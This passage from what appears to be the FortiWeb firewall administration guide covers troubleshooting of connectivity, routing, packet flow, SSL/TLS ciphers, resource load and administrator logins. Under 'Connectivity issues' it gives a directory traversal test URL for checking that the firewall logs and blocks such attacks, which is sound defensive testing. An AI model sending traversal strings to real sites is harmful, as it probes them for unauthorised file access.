If you accidentally change something, the backup can help you restore normal operation quickly and easily.

Backups also can aid in troubleshooting: you can use a tool such as [diff](#) to find the parts of the configuration that have changed.

See also

- ["Diff"](#) on page 780
- ["Backups"](#) on page 324

Determining the source of the problem

To know which solutions to try, you first need to locate the source of the problem. Occasionally, a problem has more than one possible source. To find a working solution, you will need to determine the exact source of the problem.

- Did FortiWeb's hardware and software both start properly? If not, see ["Bootup issues"](#) on page 805.
- Are you having Login issues? For details, see ["Login issues"](#) on page 802.
- What has recently changed?

Do not assume that nothing has changed in the network. Use [Diff](#) and [Backups](#) to see if something changed in the configuration, and [Logging](#) to see if an unusual condition occurred. If the configuration did change, see what the effect is when you roll back the change.

- Does your configuration involve HTTPS?

If yes, make sure your certificate is loaded and valid.

- Are any web servers down?

See ["Policy Status dashboard"](#) on page 688.

- Is a policy disabled?
- Does the problem originate on the camera, FortiWeb, or your computer? There are two sides to every connection. For details, see ["Connectivity issues"](#) on page 789.
- Does the problem affect only specific clients or servers? Are they all of the same type?

- Is the problem intermittent or random? Or can you reproduce it reliably, regardless of which camera or computer you use to connect to FortiWeb?

If the problem is intermittent, you can use the "[System Resources widget](#)" on page 681 to see whether the problem corresponds to FortiWeb processor or RAM exhaustion. For details, see "[Resource issues](#)" on page 801.

You can also view the event log. If there is no event log, someone may have disabled that feature. For details, see "[Enabling log types, packet payload retention, & resource shortage alerts](#)" on page 693.

- Is your system under attack?

View the "[Attack Log widget](#)" on page 682.

See also

- "[Connectivity issues](#)" on page 789
- "[Resource issues](#)" on page 801
- "[Login issues](#)" on page 802
- "[Bootup issues](#)" on page 805
- "[Diff](#)" on page 780
- "[Backups](#)" on page 324

Planning & access privileges

Create a checklist so that you know what you have tried, and what is left to check.

If you need to contact Fortinet Technical Support, it helps to provide a list of what data you gathered and what solutions you tried. This prevents duplicated efforts, and minimizes the time required to resolve your ticket.

If you need access to other networking equipment such as switches, routers, and servers to help you test, contact your network administrator. Fortinet Technical Support will not have access to this other equipment. However, they may need to ask you to adjust a setting on the other equipment.

If you are not using the `admin` account on FortiWeb, verify that your account has the permissions you need to run all diagnostics.

Solutions by issue type

Recommended solutions vary by the type of issue.

- "[Connectivity issues](#)" on page 789
- "[Resource issues](#)" on page 801
- "[Login issues](#)" on page 802
- "[Data storage issues](#)" on page 805
- "[Bootup issues](#)" on page 805

Fortinet also provides these resources:

- FortiWeb Release Notes (<http://docs.fortinet.com/fortiweb/release-information>)
- Technical documentation (<http://docs.fortinet.com/fortiweb/admin-guides>)

- Knowledge base (<http://kb.fortinet.com>)
- Forums (<http://support.fortinet.com/forum>)
- Online tutorials and training materials (<http://training.fortinet.com>)

Check within your organization. You can save time and effort during the troubleshooting process by checking if other FortiWeb administrators experienced a similar problem before.

Connectivity issues

One of your first tests when configuring a new policy should be to determine whether allowed traffic is flowing to your web servers.

- Is there a server policy applied to the web server or servers FortiWeb was installed to protect? If it is operating in Reverse Proxy mode, FortiWeb will not allow any traffic to reach a protected web server unless there is a matching server policy that permits it.
- If your network utilizes secure connections (HTTPS) and there is no traffic flow, is there a problem with your certificate?
- If you run a test attack from a browser aimed at your website, does it show up in the attack log?

To verify, configure FortiWeb to detect the attack, then craft a proof-of-concept that will trigger the attack sensor. For example, to see whether directory traversal attacks are being logged and/or blocked, you could use your web browser to go to:

```
http://www.example.com/login?user=../../../../..
```

Under normal circumstances, you should see a new attack log entry in the attack log console widget of the system dashboard. For details, see "[Attack Log widget](#)" on page 682.

See also

- "[Checking hardware connections](#)" on page 789
- "[Checking port assignments](#)" on page 799
- "[Checking routing](#)" on page 790
- "[Examining the routing table](#)" on page 798
- "[Examining the ARP table](#)" on page 790
- "[Debugging the packet processing flow](#)" on page 799
- "[Packet capture](#)" on page 780
- "[Monitoring traffic load](#)" on page 801
- "[Preparing for attacks](#)" on page 802

Checking hardware connections

If there is no traffic flowing from the FortiWeb appliance, it may be a hardware problem.

To check hardware connections

- Ensure the network cables are properly plugged in to the interfaces on the FortiWeb appliance.
- Ensure there are connection lights for the network cables on the appliance.
- Change the cable if the cable or its connector are damaged or you are unsure about the cable's type or quality.
- Connect the FortiWeb appliance to different hardware to see if that makes a difference.

- In the web UI, go to **Status > Network > Interface** and ensure that the link status is up for the interface.

If the status is down (down arrow on red circle), click **Bring Up** next to it in the **Status** column.

You can also enable an interface in CLI, for example:

```
config system interface
  edit port2
    set status up
  end
```

If any of these checks solve the problem, it was a hardware connection issue. You should still perform some basic software tests to ensure complete connectivity.

If the hardware connections are correct and the appliance is powered on but you cannot connect using the CLI or web UI, you may be experiencing bootup problems. See "[Bootup issues](#)" on page 805.

Examining the ARP table

When you have poor connectivity, another good place to look for information is the address resolution protocol (ARP) table. A functioning ARP is especially important in high-availability configurations.

To check the ARP table in the CLI, enter:

```
diagnose network arp list
```

Checking routing

`ping` and `tracert` are useful tools in network connectivity and route troubleshooting.

Since you typically use these tools to troubleshoot, you can allow ICMP, the protocol used by these tools, in firewall policies and on interfaces only when you need them. Otherwise, disable ICMP for improved security and performance.

By default, the FortiWeb appliance will forward only HTTP/HTTPS traffic to your protected web servers. (That is, routing/IP-based forwarding is disabled.) For information on enabling forwarding of FTP or other protocols, see the `config router setting` command in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

By default, FortiWeb appliances will respond to `ping` and `tracert`. However, if the appliance does not respond, and there are no firewall policies that block it, ICMP type 0 (ECHO_RESPONSE) might be effectively disabled.

To enable ping and traceroute responses from FortiWeb

1. Go to **System > Network > Interface**.

To access this part of the web UI, you must have **Read** and **Write** permission in your administrator's account access profile to items in the **Router Configuration** category. For details, see "[Permissions](#)" on page 85.

2. In the row for the network interface which you want to respond to ICMP type 8 (ECHO_REQUEST) for `ping` and UDP for `tracert`, click **Edit**.

A dialog appears.

3. Enable **PING** (page 165).



Disabling **PING** (page 165) only prevents FortiWeb from **receiving** ICMP type 8 (ECHO_REQUEST) and traceroute-related UDP and responding to it.

It does **not** disable FortiWeb CLI commands such as `execute ping` or `execute traceroute` that **send** such traffic.

4. If **Trusted Host #1** (page 332), **Trusted Host #2** (page 332), and **Trusted Host #3** (page 332) have been restricted, verify that they include your computer or device's IP address. Otherwise FortiWeb will not respond.
5. Click **OK**.

The appliance should now respond when another device such as your management computer sends a `ping` or `traceroute` to that network interface.

To verify routes between clients and your web servers

1. Attempt to connect **through** the FortiWeb appliance, from a client to a protected web server, via HTTP and/or HTTPS.

If the connectivity test fails, continue to the next step.

2. Use the `ping` command on both the client and the server to verify that a route exists between the two. Test traffic movement in both directions: from the client to the server, and the server to the client. Web servers do not need to be able to initiate a connection, but must be able to send reply traffic along a return path.



In networks using features such as asymmetric routing, routing success in one direction does **not** guarantee success in the other.

If the routing test **succeeds**, continue with [Step 4](#) on page 791.

If the routing test **fails**, continue to the next step.

3. Use the `tracert` or `traceroute` command on both the client and the server (depending on their operating systems) to locate the point of failure along the route.

If the route is broken when it reaches the FortiWeb appliance, first examine its network interfaces and routes. To display network interface addresses and subnets, enter the CLI command:

```
show system interface
```

To display all recently-used routes with their priorities, enter the CLI command:

```
diagnose network route list
```

You may need to verify that the physical cabling is reliable and not loose or broken, that there are no IP address or MAC address conflicts or blacklisting, misconfigured DNS records, and otherwise rule out problems at the physical, network, and transport layer.

If these tests **succeed**, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem is preventing connectivity.

4. For application-layer problems, on the FortiWeb, examine the:

- matching server policy and all components it references
- certificates (if connecting via HTTPS)
- web server service/daemon (it should be running, and configured to listen on the port specified in the server policy for HTTP and/or HTTPS, for virtual hosts, they should be configured with a correct `Host : name`)

On routers and firewalls between the host and the FortiWeb appliance, verify that they permit HTTP and/or HTTPS connectivity between them.

Testing for connectivity with ping

The `ping` command sends a small data packet to the destination and waits for a response. The response has a timer that may expire, indicating that the destination is unreachable via ICMP.



Connectivity via ICMP only proves that a route exists. It does **not** prove that connectivity also exists via other protocols at other layers such as HTTP.

ICMP is part of Layer 3 on the OSI Networking Model. `ping` sends Internet Control Message Protocol (ICMP) `ECHO_REQUEST` ("ping") packets to the destination, and listens for `ECHO_RESPONSE` ("pong") packets in reply.

Some networks block ICMP packets because they can be used in a ping flood or denial of service (DoS) attack if the network does not have anti-DoS capabilities, or because `ping` can be used by an attacker to find potential targets on the network.

Beyond basic existence of a possible route between the source and destination, `ping` tells you the amount of packet loss (if any), how long it takes the packet to make the round trip (latency), and the variation in that time from packet to packet (jitter).

If `ping` shows **some** packet loss, investigate:

- cabling to eliminate loose connections
- ECMP, split horizon, or network loops
- all equipment between the ICMP source and destination to minimize hops

If `ping` shows **total** packet loss, investigate:

- cabling to eliminate incorrect connections
- all firewalls, routers, and other devices between the two locations to verify correct IP addresses, routes, MAC lists, trusted hosts, and policy configurations

If `ping` finds an outage between two points, use `tracert` to locate exactly where the problem is.

To ping a device from the FortiWeb CLI

1. Log in to the CLI via either SSH, Telnet, or you can ping from the FortiWeb appliance in the **CLI Console** accessed from the web UI.
2. If you want to adjust the behavior of `execute ping`, first use the `execute ping options` command. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

3. Enter the command:

```
execute ping <destination_ipv4>
```

where `<destination_ipv4>` is the IP address of the device that you want to verify that the appliance can connect to, such as `192.168.1.1`.



To verify that routing is bidirectionally symmetric, you should **also** ping the appliance. For details, see ["To enable ping and traceroute responses from FortiWeb"](#) on page 790 and ["To ping a device from a Microsoft Windows computer"](#) on page 793 or ["To ping a device from a Linux or Mac OS X computer"](#) on page 794.

If the appliance **can** reach the host via ICMP, output similar to the following appears:

```
PING 192.0.2.96 (192.0.2.96): 56 data bytes
64 bytes from 192.0.2.96: icmp_seq=0 ttl=253 time=6.5 ms
64 bytes from 192.0.2.96: icmp_seq=1 ttl=253 time=7.4 ms
64 bytes from 192.0.2.96: icmp_seq=2 ttl=253 time=6.0 ms
64 bytes from 192.0.2.96: icmp_seq=3 ttl=253 time=5.5 ms
64 bytes from 192.0.2.96: icmp_seq=4 ttl=253 time=7.3 ms

--- 192.0.2.96 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 5.5/6.5/7.4 ms
```

If the appliance **cannot** reach the host via ICMP, output similar to the following appears:

```
PING 192.0.2.108 (192.0.2.108): 56 data bytes
Timeout ...
Timeout ...
Timeout ...
Timeout ...
Timeout ...

--- 192.0.2.108 ping statistics ---
5 packets transmitted, 0 packets received, 100% packet loss
```

"100% packet loss" and "Timeout" indicates that the host is not reachable.

For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

To ping a device from a Microsoft Windows computer

1. Click the **Start** (Windows logo) menu to open it.

If the host is running Windows XP, instead, go to **Start > Run...**

2. Type `cmd` then press Enter.

The Windows command line appears.

3. Enter the command:

```
ping <options_str> <destination_ipv4>
```

where:

- `<destination_ipv4>` is the IP address of the device that you want to verify that the computer can connect to, such as `192.0.2.1`.

- `<options_str>` are zero or more options, such as:
 - `-t`—Send packets until you press Control-C.
 - `-a`—Resolve IP addresses to domain names where possible.
 - `-n x`—Where `x` is the number of packets to send.

For example, you might enter:

```
ping -n 5 192.0.2.1
```

If the computer **can** reach the destination, output similar to the following appears:

```
Pinging 192.0.2.1 with 32 bytes of data:
Reply from 192.0.2.1: bytes=32 time=7ms TTL=253
Reply from 192.0.2.1: bytes=32 time=6ms TTL=253
Reply from 192.0.2.1: bytes=32 time=11ms TTL=253
Reply from 192.0.2.1: bytes=32 time=5ms TTL=253

Ping statistics for 192.0.2.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 5ms, Maximum = 11ms, Average = 7ms
```

If the computer **cannot** reach the destination, output similar to the following appears:

```
Pinging 192.0.2.1 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.

Ping statistics for 192.0.2.1:
    Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
    "100% loss" and "Request timed out." indicates that the host is not reachable.
```

To ping a device from a Linux or Mac OS X computer

1. Open a command prompt.



Alternatively, on Mac OS X, you can use the Network Utility application.

2. Enter the following command:

```
ping <options_str> <destination_ip>
```

where:

- `<destination_ip>` is the IP address of the device that you want to verify that the computer can connect to, such as `192.0.2.1`.
- `<options_str>` are zero or more options, such as:
 - `-W y`—Wait `y` seconds for `ECHO_RESPONSE`.
 - `-c x`—Where `x` is the number of packets to send.

If the command is not found, you can either enter the full path to the executable or add its path to your shell environment variables. The path to the `ping` executable varies by distribution, but may be `/bin/ping`.

If you do **not** supply a packet count, output will continue until you terminate the command with Control-C. For more information on options, enter `man ping`.

For example, you might enter:

```
ping -c 5 -W 2 192.0.2.1
```

If the computer **can** reach the destination via ICMP, output similar to the following appears:

```
PING 192.0.2.1 (192.0.2.1) 56(84) bytes of data.
64 bytes from 192.0.2.1: icmp_seq=1 ttl=253 time=6.85 ms
64 bytes from 192.0.2.1: icmp_seq=2 ttl=253 time=7.64 ms
64 bytes from 192.0.2.1: icmp_seq=3 ttl=253 time=8.73 ms
64 bytes from 192.0.2.1: icmp_seq=4 ttl=253 time=11.0 ms
64 bytes from 192.0.2.1: icmp_seq=5 ttl=253 time=9.72 ms

--- 192.0.2.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4016ms
rtt min/avg/max/mdev = 6.854/8.804/11.072/1.495 ms
```

If the computer **cannot** reach the destination via ICMP, if you specified a wait and packet count rather than having the command wait for your Control-C, output similar to the following appears:

```
PING 192.0.2.15 (192.0.2.15) 56(84) bytes of data.

--- 192.0.2.15 ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 5999ms
"100% packet loss" indicates that the host is not reachable.
```

Otherwise, if you terminate by pressing Control-C (^C), output similar to the following appears:

```
PING 192.0.2.15 (192.0.2.15) 56(84) bytes of data.
From 192.0.2.2 icmp_seq=31 Destination Host Unreachable
From 192.0.2.2 icmp_seq=30 Destination Host Unreachable
From 192.0.2.2 icmp_seq=29 Destination Host Unreachable
^C
--- 192.0.2.15 ping statistics ---
41 packets transmitted, 0 received, +9 errors, 100% packet loss, time 40108ms
pipe 3
"100% packet loss" and "Destination Host Unreachable" indicates that the host is not
reachable.
```

Testing routes & latency with traceroute

`traceroute` sends ICMP packets to test each hop along the route. It sends three packets to the destination, and then increases the time to live (TTL) setting by one, and sends another three packets to the destination. As the TTL increases, packets go one hop farther along the route until they reach the destination.

Most `traceroute` commands display their maximum hop count—the maximum number of steps it will take before declaring the destination unreachable—before they start tracing the route. The TTL setting may result in routers or firewalls along the route timing out due to high latency.

Where `ping` only tells you if the signal reached its destination and returned successfully, `traceroute` shows each step of its journey to its destination and how long each step takes. If you specify the destination using a

domain name, the `traceroute` output can also indicate DNS problems, such as an inability to connect to a DNS server.

By default, `traceroute` uses UDP with destination ports numbered from 33434 to 33534. The `traceroute` utility usually has an option to specify use of ICMP `ECHO_REQUEST` (type 8) instead, as used by the Windows `tracert` utility. If you have a firewall and you want `traceroute` to work from both machines (Unix-like systems and Windows) you will need to allow **both** protocols inbound through your firewall (UDP ports 33434 - 33534 and ICMP type 8).

To trace the route to a device from the FortiWeb CLI

1. Log in to the CLI via either SSH, Telnet, or You can ping from the FortiWeb appliance in the **CLI Console** widget of the web UI.
2. Enter the command:

```
execute traceroute {<destination_ipv4> | <destination_fqdn>}
```

where {<destination_ipv4> | <destination_fqdn>} is a choice of either the device's IP address or its fully qualified domain name (FQDN).

For example, you might enter:

```
execute traceroute www.example.com
```

If the appliance **has** a complete route to the destination, output similar to the following appears:

```
traceroute to www.fortinet.com (192.0.2.150), 32 hops max, 84 byte packets
 1 192.0.2.87 0 ms 0 ms 0 ms
 2 192.0.2.221 <static-209-87-254-221.storm.ca> 2 ms 2 ms 2 ms
 3 192.0.2.129 <core-2-g0-1-1104.storm.ca> 2 ms 1 ms 2 ms
 4 192.0.2.161 2 ms 2 ms 3 ms
 5 192.0.2.17 <core2-ottawa23_POS13-1-0.net.bell.ca> 3 ms 3 ms 2 ms
 6 192.0.2.234 <core2-ottawac_POS5-0-0.net.bell.ca> 20 ms 20 ms 20 ms
 7 192.0.2.58 <core4-toronto21_POS0-12-4-0.net.bell.ca> 24 ms 21 ms 24 ms
 8 192.0.2.154 <bx4-toronto63_so-2-0-0-0.net.bell.ca> 8 ms 9 ms 8 ms
 9 192.0.2.145 <bx2-ashburn_so2-0-0-0.net.bell.ca> 23 ms 23 ms 23 ms
10 192.0.2.9 23 ms 22 ms 22 ms
11 192.0.2.238 <cr2.wswdc.ip.att.net> 100 ms 192.0.2.130 <cr2.wswdc.ip.att.net> 101 ms
    102 ms
12 192.0.2.21 <cr1.cgil.ip.att.net> 101 ms 100 ms 99 ms
13 192.0.2.121 <cr1.sffca.ip.att.net> 100 ms 98 ms 100 ms
14 192.0.2.118 <cr81.sj2ca.ip.att.net> 98 ms 98 ms 100 ms
15 192.0.2.105 <gar2.sj2ca.ip.att.net> 96 ms 96 ms 96 ms
16 192.0.2.42 94 ms 94 ms 94 ms
17 192.0.2.10 88 ms 87 ms 87 ms
18 192.0.2.130 90 ms 89 ms 90 ms
19 192.0.2.150 <fortinet.com> 91 ms 89 ms 91 ms
20 192.0.2.150 <fortinet.com> 91 ms 91 ms 89 ms
```

Each line lists the routing hop number, the IP address and FQDN (if any) of that hop, and the 3 response times from that hop. Typically a value of <1ms indicates a local router.

If the appliance **does not** have a complete route to the destination, output similar to the following appears:

```
traceroute to 192.0.2.1 (192.0.2.1), 32 hops max, 84 byte packets
 1 192.0.2.2 0 ms 0 ms 0 ms
 2 192.0.2.10 0 ms 0 ms 0 ms
```



```

3 * * *
4 * * *

```

The asterisks (*) indicate no response from that hop in the network routing. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

To trace the route to a device from a Microsoft Windows computer

1. Click the **Start** (Windows logo) menu to open it.

If the host is running Windows XP, instead, go to **Start > Run...**

2. Type `cmd` then press Enter.

The Windows command line appears.

3. Enter the command:

```
tracert {<destination_ipv4> | <destination_fqdn>}
```

If the appliance **has** a complete route to the destination, output similar to the following appears:

```

Tracing route to www.fortinet.com [192.0.2.34]
over a maximum of 30 hops:

 1 <1 ms <1 ms <1 ms 192.0.2.2
 2 2 ms 2 ms 2 ms static-192-0-2-221.storm.ca [192.0.2.221]

 3 2 ms 2 ms 22 ms core-2-g0-1-1104.storm.ca [192.0.2.129]
 4 3 ms 3 ms 2 ms 67.69.228.161
 5 3 ms 2 ms 3 ms core2-ottawa23_POS13-1-0.net.bell.ca [192.0.2.17]
(Output abbreviated.)
15 97 ms 97 ms 97 ms gar2.sj2ca.ip.att.net [192.0.2.105]
16 94 ms 94 ms 94 ms 192.0.2.42
17 87 ms 87 ms 87 ms 192.0.2.10
18 89 ms 89 ms 90 ms 192.0.2.130
19 89 ms 89 ms 90 ms fortinet.com [192.0.2.34]
20 90 ms 90 ms 91 ms fortinet.com [192.0.2.34]

Trace complete.

```

Each line lists the routing hop number, the 3 response times from that hop, and the IP address and FQDN (if any) of that hop. Typically a value of <1ms indicates a local router.

If the appliance **does not** have a complete route to the destination, output similar to the following appears:

```

Tracing route to 192.0.2.1 over a maximum of 30 hops

 1 <1 ms <1 ms <1 ms 192.0.2.2
 2 <1 ms <1 ms <1 ms 192.0.2.10
 3 * * * Request timed out.
 4 * * * Request timed out.
 5 ^C

```

The asterisks (*) and "Request timed out." indicate no response from that hop in the network routing.

To trace the route to a device from a Linux or Mac OS X computer

1. Open a command prompt.



Alternatively, on Mac OS X, you can use the Network Utility application.

2. Enter:

```
tracert {<destination_ip> | <destination_fqdn>}
```

Note: the path to the executable may vary by distribution.

If the appliance **has** a complete route to the destination, output similar to the following appears:

```
tracert to www.fortinet.com (192.0.2.34), 30 hops max, 60 byte packets
 1 192.0.2.2 (192.0.2.2) 0.189 ms 0.277 ms 0.226 ms
 2 static-192-0-2-221.storm.ca (192.0.2.221) 2.554 ms 2.549 ms 2.503 ms
 3 core-2-g0-1-1104.storm.ca (192.0.2.129) 2.461 ms 2.516 ms 2.417 ms
 4 192.0.2.161 (192.0.2.161) 3.041 ms 3.007 ms 2.966 ms
 5 core2-ottawa23_POS13-1-0.net.bell.ca (192.0.2.17) 3.004 ms 2.998 ms 2.963 ms
 (Output abbreviated.)
16 192.0.2.42 (192.0.2.42) 94.379 ms 94.114 ms 94.162 ms
17 192.0.2.10 (192.0.2.10) 122.879 ms 120.690 ms 119.049 ms
18 192.0.2.130 (203.78.181.130) 89.705 ms 89.411 ms 89.591 ms
19 fortinet.com (192.0.2.34) 89.717 ms 89.584 ms 89.568 ms
```

Each line lists the routing hop number, the IP address and FQDN (if any) of that hop, and the 3 response times from that hop. Typically a value of <1ms indicates a local router.

If the appliance **does not** have a complete route to the destination, output similar to the following appears:

```
tracert to 192.0.2.1 (192.0.2.1), 30 hops max, 60 byte packets
 1 * * *
 2 192.0.2.10 (192.0.2.10) 4.160 ms 4.169 ms 4.144 ms
 3 * * *
 4 * * *^C
```

The asterisks (*) indicate no response from that hop in the network routing.

Relatedly, if the computer's DNS query cannot resolve the host name, output similar to the following appears:

```
example.lab: Name or service not known
Cannot handle "host" cmdline arg `example.lab' on position 1 (argc 1)
```

Examining the routing table

When a route does not exist, or when hops have high latency, examine the routing table. The routing table is where the FortiWeb appliance caches recently used routes.

If a route is cached in the routing table, it saves time and resources that would otherwise be required for a route lookup. If the routing table is full and a new route must be added, the oldest, least-used route is deleted to make room.

To check the routing table in the CLI, enter:

```
diagnose network route list
```

Checking port assignments

If you are attempting to connect to FortiWeb on a given network port, and the connection is expected to occur on a different port number, the attempt will fail. For a list of ports used by FortiWeb, see ["Appendix A: Port numbers"](#) on page 814. For ports used by your own HTTP network services, see ["Defining your network services"](#) on page 427.

Performing a packet trace

When troubleshooting malformed packet or protocol errors, it helps to look inside the protocol headers of packets to determine if they are traveling along the route you expect, and with the flags and other options you expect. For details, see ["Packet capture"](#) on page 780.



If you configure virtual servers on your FortiWeb appliance, packets' destination IP addresses will be those IP addresses, not the physical IP addresses (i.e., the IP address of port1, etc.). An ARP update is sent out when a virtual IP address is configured.

If the packet trace shows that packets **are** arriving at your FortiWeb appliance's interfaces but no HTTP/HTTPS packets egress, check that:

- Physical links are firmly connected, with no loose wires
- Network interfaces/bridges are brought up (see ["Configuring the network interfaces"](#) on page 164)
- Link aggregation peers, if any, are up (see ["Link aggregation"](#) on page 174)
- VLAN IDs, if any, match (see ["Adding VLAN subinterfaces"](#) on page 167)
- Virtual servers or V-zones exist, and are enabled (see ["Configuring a bridge \(V-zone\)"](#) on page 171 and ["Configuring virtual servers on your FortiWeb"](#) on page 425)
- Matching policies exist, and are enabled (see ["Configuring basic policies"](#) on page 198)
- If using HTTPS, valid server/CA certificates exist (see ["How to offload or inspect HTTPS"](#) on page 439)
- IP-layer, and HTTP-layer routes, if necessary, match (see ["Adding a gateway"](#) on page 178 and ["Routing based on HTTP content"](#) on page 408)
- Web servers are responsive, if server health checks are configured and enabled (see ["Configuring server up/down checks"](#) on page 390)
- Load balancers, if any, are defined (see ["Defining your proxies, clients, & X-headers"](#) on page 421)
- Clients are not blacklisted (see ["Monitoring currently blocked IPs"](#) on page 735)



For Offline Protection mode, it is usually normal if HTTP/HTTPS packets do not egress. The nature of this deployment style is to listen only, except to reset the TCP connection if FortiWeb detects traffic in violation.

If the packet is accepted by the policy but appears to be dropped during processing, see ["Debugging the packet processing flow"](#) on page 799.

Debugging the packet processing flow

If you have determined that network traffic is not entering and leaving the FortiWeb appliance as expected, or not flowing through policies and scans as expected, you can debug the packet flow using the CLI.

For example, the following commands enable debug logs and the logs timestamp, and set other parameters for debug logging:

```
diagnose debug enable
diagnose debug console timestamp enable
diagnose debug application proxy 7
diagnose debug flow show module-process-detail
diagnose debug flow trace start
diagnose debug flow filter server-ip 192.0.2.20
```

For detailed information on the `diagnose debug` commands, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Checking the SSL/TLS handshake & encryption

If the client is attempting to make an HTTPS connection, but the attempt fails after the connection has been initiated, during negotiation, the problem may be with SSL/TLS. Symptoms may include error messages such as:

- `ssl_error_no_cypher_overlap`
(Mozilla Firefox 9.0.1)
- `Error 113 (net::ERROR_SSL_VERSION_OR_CIPHER_MISMATCH): Unknown error.`
(Google Chrome 16.0.912.75 m)

Expected SSL/TLS behavior varies by SSL inspection vs. SSL offloading. For details, see "[Offloading vs. inspection](#)" on page 430.

SSL offloading—Reverse Proxy mode only. For details, see "[Supported features in each operation mode](#)" on page 102.

The handshake is between the client and FortiWeb. If the connection cannot be established, verify that the browser supports one of the key exchanges, encryption algorithms, and authentication (hashes) offered by FortiWeb. For details, see "[Supported cipher suites & protocol versions](#)" on page 432.

SSL inspection—True Transparent Proxy, Offline Protection, and Transparent Inspection modes only.

The handshake is between the client and the **web server**. If the connection cannot be established, verify that the browser supports one of the key exchanges, encryption algorithms, and authentication (hashes) suggested by the web server. Server-side, you must also verify that your web server supports enough cipher suites that all required clients can connect.



Google Chrome will prefer an anonymous Diffie-Hellman key exchange. This has the property of perfect forward secrecy, which makes SSL inspection theoretically impossible. To guarantee that this is not used to hide attacks from FortiWeb, you must disable it on your web server. On Apache, you would add `!ADH` to the `SSLCipherSuite` configuration line. For example:

```
SSLCipherSuite
ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
```

If you are not sure which cipher suites are currently supported, you can use SSL tools such as OpenSSL (<http://openssl.org>) to discover support. For example, you could use this client-side command to know whether the web server or FortiWeb supports strong (HIGH) encryption:

```
openssl s_client -connect example.com:443 -cipher HIGH
```

or supports deprecated or old versions such as SSL 2.0:

```
openssl s_client -ssl2 -connect example.com:443
```



If your web servers are required to comply with PCI DSS, you should make sure that your web servers do not allow weak encryption. For example, if your web servers accept SSL 2.0 or MD5 hashes, you may fail your PCI DSS audit.

Resource issues

This section includes troubleshooting questions related to sluggish or stalled performance.

- Is a process consuming too much system resources?
See "[Killing system-intensive processes](#)" on page 801.
- Is a server under attack?
See "[Preparing for attacks](#)" on page 802.
- Has there been a sustained spike in HTTP traffic related to a specific policy?
See "[Monitoring traffic load](#)" on page 801.

Killing system-intensive processes

Use the CLI to view the per-CPU/core process load level and a list of the most system-intensive processes. This may show processes that are consuming resources unusually. For example:

```
diagnose system top 10
```

The above command generates a report of processes every 10 seconds. The report provides the process names, their process ID (pid), status, CPU usage, and memory usage.

The report continues to refresh and display in the CLI until you press **q** (quit).

Once you locate an offending PID, you can terminate it:

```
diagnose system kill 9 <pid_int>
```

To determine if high load is frequently a problem, you can display the average load level by using these CLI commands:

```
get system performance  
diagnose system load
```

For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

If the issue recurs, and corresponds with a signature or configuration change, you may need to optimize regular expressions to prevent the issue from recurring. For details, see "[Debugging the packet processing flow](#)" on page 799 and "[Regular expression performance tips](#)" on page 747.

Monitoring traffic load

Heavy traffic loads can cause sustained high CPU or RAM usage. If this is unusual, no action may be required, unless you are being subject to a DoS attack. Sustained heavy traffic load may indicate that you need a more

powerful model of FortiWeb.

In the FortiWeb appliance's web UI, you can view traffic load two ways:

- Monitor current HTTP traffic on the dashboard. Go to **System > Status > Status** and examine the graphs in the **Policy Summary** widget.
- Examine traffic history in the traffic log. Go to **Logs&Report > Log Access > Traffic**.

Preparing for attacks

A prolonged denial of service (DoS) or brute-force login attack (to name just a few) can bring your web servers to a standstill, if your FortiWeb appliance is not configured for it.

To fight DoS attacks, see ["DoS prevention"](#) on page 604.

In the FortiWeb appliance's web UI, you can watch for attacks in two ways:

- Monitor current HTTP traffic on the dashboard. Go to **System > Status > Status** and examine the attack event history graph in the **Policy Summary** widget.
- Examine attack history in the traffic log. Go to **Logs&Report > Log Access > Attack**.

Before attacks occur, use the FortiWeb appliance's rich feature set to configure attack defenses.

Login issues

If the person cannot access the login page at all, it is usually actually a connectivity issue (see ["Ping & traceroute"](#) on page 779 and ["Configuring the network settings"](#) on page 162) **unless** all accounts are configured to accept logins only from specific IP addresses (see [Trusted Host #1](#) (page 332)).

If an administrator can connect, but cannot log in, even though providing the correct account name and password, and is receiving this error message:

```
Too many bad login attempts or reached max number of logins. Please try again in a few minutes. Login aborted.
```

single administrator mode may have been enabled. For details, see ["Enable Single Admin User login"](#) on page 91.

If the person has lost or forgotten his or her password, the `admin` account can reset other accounts' passwords. For details, see ["Changing an administrator's password"](#) on page 336.

Checking user authentication policies

In FortiWeb, users are organized into groups. Groups are part of authentication policies. If several users have authentication problems, it is possible someone changed authentication policy or user group memberships. If a user is legitimately having an authentication policy, you need to find out where the problem lies.

To troubleshoot user access

1. In the web UI, go to **User > User Group > User Group** and examine each group to locate the name of the problem user.
2. Note the user group to which the affected users belong, especially if multiple affected users are part of one group. If the user is not a group member, there is no access.

3. Go to **Application Delivery > Authentication** and select the **Authentication Rule** tab to determine which rule contains the problem user group. If the user group is not part of a rule, there is no access.
4. Go to **Application Delivery > Authentication** and select the **Authentication Policy** tab to locate the policy that contains the rule governing the problem user group. If the rule is not part of a policy, there is no access.
5. Go to **Policy > Web Protection Profile** and select the **Inline Protection Profile** tab to determine which profile contains the related authentication policy. If the policy is not part of a profile, there is no access.
6. Make sure that inline protection profile is included in the server policy that applies to the server the user is trying to access. If the profile is not part of the server policy, there is no access.

Authentication involves user groups, authentication rules and policy, inline protection policy, and finally, server policy. If a user is not in a user group used in the policy for a specific server, the user will have no access.

When an administrator account cannot log in from a specific IP

If an administrator is entering his or her correct account name and password, but cannot log in from some or all computers, examine that account's trusted host definitions (see [Trusted Host #1](#) (page 332)). It should include all locations where that person is allowed to log in, such as your office, but should **not** be too broad.

Remote authentication query failures

